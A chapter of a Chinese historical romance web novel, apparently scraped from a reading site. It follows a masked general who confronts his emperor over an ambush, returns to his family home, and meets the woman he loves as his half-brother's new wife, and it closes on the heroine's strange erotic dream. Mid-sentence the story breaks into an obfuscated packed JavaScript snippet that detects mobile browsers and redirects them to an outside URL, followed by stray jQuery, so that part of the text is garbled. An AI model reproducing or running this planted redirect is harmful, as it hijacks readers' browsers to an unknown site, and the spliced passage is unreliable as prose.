御书房内,明暗不定的光线穿透窗棂,打在高坐君位的澧朝皇帝祁裕,半是淡漠,半是阴郁。他端量阶下行臣子礼的大将军。
沈崇珩一如往常地戴着狰狞修罗面具,不同的是,他这此受了伤,左臂缠着纱布,还渗出一团干涸的褐血。
“沈大将军,这两月剿匪,辛苦了。”帝王淡声道,“朕听闻那些贼人还私藏了火药,大将军孤身入敌营,以一敌百,实乃国之柱石。”
“陛下曾答应过臣,待臣剿匪回来,必定给臣一个解释。”沈崇珩不耐这些虚话,直视明堂上的帝王,声音一重,“为何要截杀臣与回京的将士们!”
侍立在帝王身侧的大内总管杨忠脸色一变:“大胆!竟敢如此质询陛下!”
沈崇珩怒视:“腌臜阉人,哪有你说话的份儿!”
烛色惶惶,满殿宫人寒噤。祁裕曲指叩击檀案,声声沉闷有力,仿若敲打进所有人心上,杨忠使立马躬身垂目,谨小慎微。
“去,把人带来。”皇帝漫不经心地对他下令,分不清喜怒。
杨忠心领神会,拍了拍手。两个带刀侍卫押着个面如死灰的太监拖入殿中,将他按跪在地上。
杨忠道:“陛下,这都是杨顺一人所为!他曾受陛下之命前往边境监军,与沈将军多有龃龉,故而怀恨在心。”
他诚惶诚恐地下跪,顿首:“此次他趁着传旨的机会,将护送回京的旨意篡改成截杀叛军,这都是奴才管教不严,才酿成此等大祸,请陛下降罪!”
面具下的沈崇珩扯出一个冷笑。献祭一个干儿子就想把此事揭过,荒谬至极!
但殿内的人都心知肚明,这是陛下给的台阶,他愿意粉饰太平,给沈崇珩一个“交代”,这便意味着,他还需要他的效力。
沈崇珩迫使自己冷静下来,心里五味杂陈。少时情谊在巍巍皇权面前何其脆弱,他又在期待什么?
祁裕道:“原是这奸佞在挑拨朕与爱卿的君臣之义,沈爱卿想要如何处置此人,朕都依你。”
“臣,全凭陛下圣断。”沈崇珩低下头,掩去所有情绪。
“既如此。”帝王轻飘飘地下令,“传朕旨意,杨顺假传圣旨,构陷忠良,罪大恶极,拖出去,凌迟处死!”
“陛下饶命!陛下饶命啊!”杨顺凄厉哭叫着,被侍卫拖了出去。
祁裕看向匍匐在地的杨忠:“至于你,本该重罚,念在你随朕多年,免去死罪,夺两年俸禄,禁足内务府一年,警醒自身!若再敢有半分差池,定斩不饶!”
“谢陛下开恩!”杨忠磕头谢恩,大气都不敢喘。
祁裕这才走下御阶,亲自扶起沈崇珩,温和道:“崇珩,委屈你了。”
恍若回到了年少伴读的时光,他们无话不谈,亲如兄弟。
“这些年你为朕出生入死,朕都记着。如今天下太平,也没什么战事,你就留在京都帮帮朕。”
沈崇珩心下一沉,这是要将他变相地囚在京城。
祁裕笑着道:“对了,有件喜事得告诉你,你弟弟前日大婚。”
他亲切地拍着沈崇珩的肩膀,唠家常似地:“年岁比你小的都成家了,你也要抓紧了,但凡遇到喜欢的姑娘,跟朕说,朕亲自给你们指婚!”
沈崇珩明面上谢恩,固然失望心寒,但更多的是忧虑。
陛下不会放过沈家军,虽说各个世家皆有府兵守卫,却都比不上这支在战火中淬炼的精兵,如何尽快安置他们迫在眉睫。
沈崇珩心事重重地出了宫门,策马扬鞭,凭着记忆来到沈府。他已经数年未踏足此地,此后也不知要在这里蹉跎多久。
管事领着一众仆役早早在门外迎接,热泪盈眶:“家主,终于盼着您归府了!”
沈崇珩下马,跟着管事穿行府内:“云叔,这些年我不在,多亏你打理府邸。”
廊下还挂着未撤下的喜绸,随风轻晃,沈崇珩目不斜视,往昔日院落走去:“那两人这些年还算安分?”
云叔回道:“柳夫人深居简出,二爷为人和善,他现在已是举人了。”
“阿兄!”
清亮的儿郎声从前方传来,沈崇珩循声望去,只见沈修齐站在他院门外,身着绛紫锦袍,意气风发,笑着朝他招手。
上次相见,还是他领兵围了沈府,在宗祠的祖先牌位前,手刃了生父沈怀善。
彼时他踏出宗祠,便看见少年扑在地上嘶喊,其生母柳氏亦悲痛欲绝,咒骂他不仁不孝。
沈修齐容貌昳丽,弯月眉,桃花眼,面白形瘦,秀气清俊,与其母极其相似。
沈崇珩生理性厌恶:“何事。”
和他的冷淡相比,沈修齐热切得过分:“阿兄,多年未见,你依旧英武不凡。得知你回京的消息,小弟喜不自胜,就紧忙赶了过来,想给你接风洗尘。”
沈崇珩毫不客气地讥讽:“英武不凡?本将弑父之时,你也是这般认为?”
宛如一盆雪水泼下,沈修齐脸上的血色尽褪:“父亲他……他已经离世,上辈子的恩怨也该了清了。”
沈崇珩眼神锋利,如有实质地刺向沈修齐:“你娘不是还活得好好的?”
沈修齐打了个寒颤,他扯出个僵硬的笑:“阿兄,家母这些年一直闭门礼佛来赎罪,还请你能放过她。”
沈崇珩厉声道:“本将放过你们,谁又来放过我那早逝的母亲?若非当年边疆战事告急,本将还不及解决你们,又怎会留你们到今日!”
“我知道阿兄心里的不快,阿兄要我的命,我绝不敢说二话!”沈修齐咬了咬唇,哀怜道,“不管阿兄对我有多少误解,小弟大婚,总该带新妇来给阿兄见礼。”
沈崇珩身后传来徐徐的脚步声,沈修齐露出真切的笑意,绕过他快步迎了上去,沈崇珩随即回身望去。
面具下的瞳仁,在看清来人的那一刻,震颤不止。
飞扬的红绸间,女子一身雨后青蓝色的襦裙,她梳着妇人髻,只有一只简单的玉簪插在发间,素面静雅似空谷幽兰。
不过两月未见,那个俏丽狡黠的画师,变成现今的安静温婉,没有一丝锋芒。
沈修齐牵着她走到沈崇珩面前:“晏桢,这是我的阿兄。”
林晏桢屈膝行礼:“见过兄长。早闻将军威名,今日得见,三生有幸。”
她恭敬疏离,全然将他视作陌生人。
沈崇珩下意识去摸他的面具,抬起时,腕上戴着菩提手串滑下半分,提醒着这一切都不是梦。这串没有多少分量的珠串,变得异常的重,他难以支起手臂,只能徒劳地垂下。
沈崇珩怎么也想不到,再相见会是此时此景。这个让他动了心念的姑娘,居然穿着嫁衣,嫁给他最恨的人的儿子,成了他的弟媳!
“长兄为父,晏桢,你应该给阿兄敬茶。”沈修齐给下人使了个眼色,丫鬟端着备好的茶盘走到林晏桢身旁。
林晏桢接过茶盏,走到他面前:“请兄长喝茶。”
离得近了,沈崇珩才闻到她身上的药味,她脸色苍白,眼中无光,麻木呆滞的模样和他认识的那人,判若两人。
沈崇珩负在背后的一只手攥得死紧。若不是有这张修罗鬼面,他那猩红的眸和阴沉狰狞的脸,足以骇人。
他有太多的话想问她。
为何偏偏嫁给沈修齐?为何你看起来如此难过?你身上的药味又是怎么回事?他们是不是欺负你了?
千言万语堵在喉咙里,不能说出半句。
他是她的大伯,她是他的弟媳。这道天堑横亘在他们之间,无论如何也跨不过去。
他嗓音沙哑,轻声问:“你生病了?”
林晏桢诧异地看了他一眼,又迅速垂下眼帘,低声道:“劳兄长挂心,只是偶感风寒。”
偶感风寒,怎么可能会憔悴成这个样子?她的双手在抖,已经快端不住了。沈崇珩忍着千般滋味,接过茶盏,转手递给了云叔:“你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468619|201354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可以走了。”
沈修齐一愣,道:“阿兄,这茶你还没喝……”
“滚!!!”
凶戾之气再难压制,他双目充血,杀意毕露!
沈修齐吓得一个哆嗦,林晏桢也惊住了。
沈崇珩背对他们,他怕再多看林晏桢一眼,他会控制不住,砍死沈修齐。
沈修齐不敢再逗留,拉着林晏桢快步离开院子。
“家主。”云叔忧心忡忡地看向沈崇珩,他是随先夫人出嫁一并来到沈府,也是看家主一步步走到今日这位置。
在这沈府,除了亲卫陆巡,他是最了解家主的人。能让家主动怒如斯,已经许久没有见到了。
沈崇珩疲惫地阖上眼:“我想一个人静静,云叔你去忙吧。”
云叔:“……是。”
沈崇珩推开院门,回到房间一把扯下面具,摔在地上!
他捂着心口,剧烈地咳嗽起来,身体弓起,似要将心肝脾肺也一并呕出。
旋即,一口殷红的血咳了出来,溅在了地上,沈崇珩脱力地往后背靠在桌沿。
陆巡赶到时看见这一幕,惊呼道:“家主!你怎么了!”
“内伤淤积,死不了。”沈崇珩从怀里掏出药瓶,倒出药丸咽下,“我让你查的奸细揪出来了?”
“已经查清楚,是军中两个百户,这次剿匪计划就是他们泄露出去,才让我们平白地多耗了一个月,还折损了那么多兄弟!”陆巡愤然道,“人已经被我控制住了,只等家主发落!”
沈崇珩指腹擦去嘴角的血渍,冷意森森:“好极了。”
*
林晏桢做了个光怪陆离的梦。梦里她赤脚在荒草里狂奔,身后一匹恶狼紧追不舍,她精疲力竭被它扑倒。恶狼没有咬下去,反常地在她身上到处蹭,又痒又黏。她忍无可忍,蹬开狼腹,连滚带爬地逃出狼爪。
荒原不知何时变成深深庭院,浓夜寂寂,银霜凄寒,她拨开丛丛葳蕤的长草,不远处,一个高大身影背对着她。
两个被绑的男人跪在他面前:“将军饶了我们吧!我们也是迫不得已!求求您看在往日同袍的情分上……”
话未说完,一抹银光划破夜色,血溅当场。那两人倒下去后死不瞑目,正对着林晏桢的方向。
林晏桢捂住嘴,惊吓而出的低呼还是漏了出来。
“谁?!”那人回头,修罗鬼面,仿若来自地狱深处。
林晏桢心脏狂跳,拔腿就跑,冷风不断地灌进喉咙,刮得生疼。她不敢回头,拼命地往前冲,蓦地撞上一堵肉墙。
心惊肉跳间,熟悉温润的嗓音落在耳畔,消去她的惊惶:“主人,是我。”
林晏桢仰头,看见是王名,紧绷的心弦倏地一松,委屈和恐惧犹如决堤的洪水涌上来,她鼻子发酸,眼泪不争气地掉了下来:“有人……在杀人。”
王名将她圈入怀中,俯下身细细啄吻她的泪:“别怕,有我在,没有人能伤害你。”
经历了跌宕的凶险,林晏桢心力交瘁,神思恍惚,她已然忘去了男女大防,放任自己沦陷在这方安稳的暖巢里。
男人手掌托住她的后颈,缱绻温柔,一寸寸融化她的防线,撬开她的唇齿,辗转厮磨。
林晏桢双腿发软,只能攀上他的肩倚靠着,被迫接纳他身上清雅的沉香,缠绵侵入她所有的感官。她迷醉忘我,回应他:“唔~王名。”
…………
天亮了,林晏桢迷迷糊糊地睁开眼,身上软绵无力,手还莫名的酸,脑子里回想起梦里的片段,登时脸红耳热。
她拉起被褥蒙头,蜷缩成一团蛄蛹着,羞煞不已。
怎么就,就做了那样的梦,还如此细致清晰,好似真的经历了一遭。
本能的反应委实难以启齿,林晏桢不得不挪出来更衣,走到铜镜前突地察觉到不对劲的地方。
林晏桢拨开衣领,竟看见脖颈上不知何时,印着一道红痕!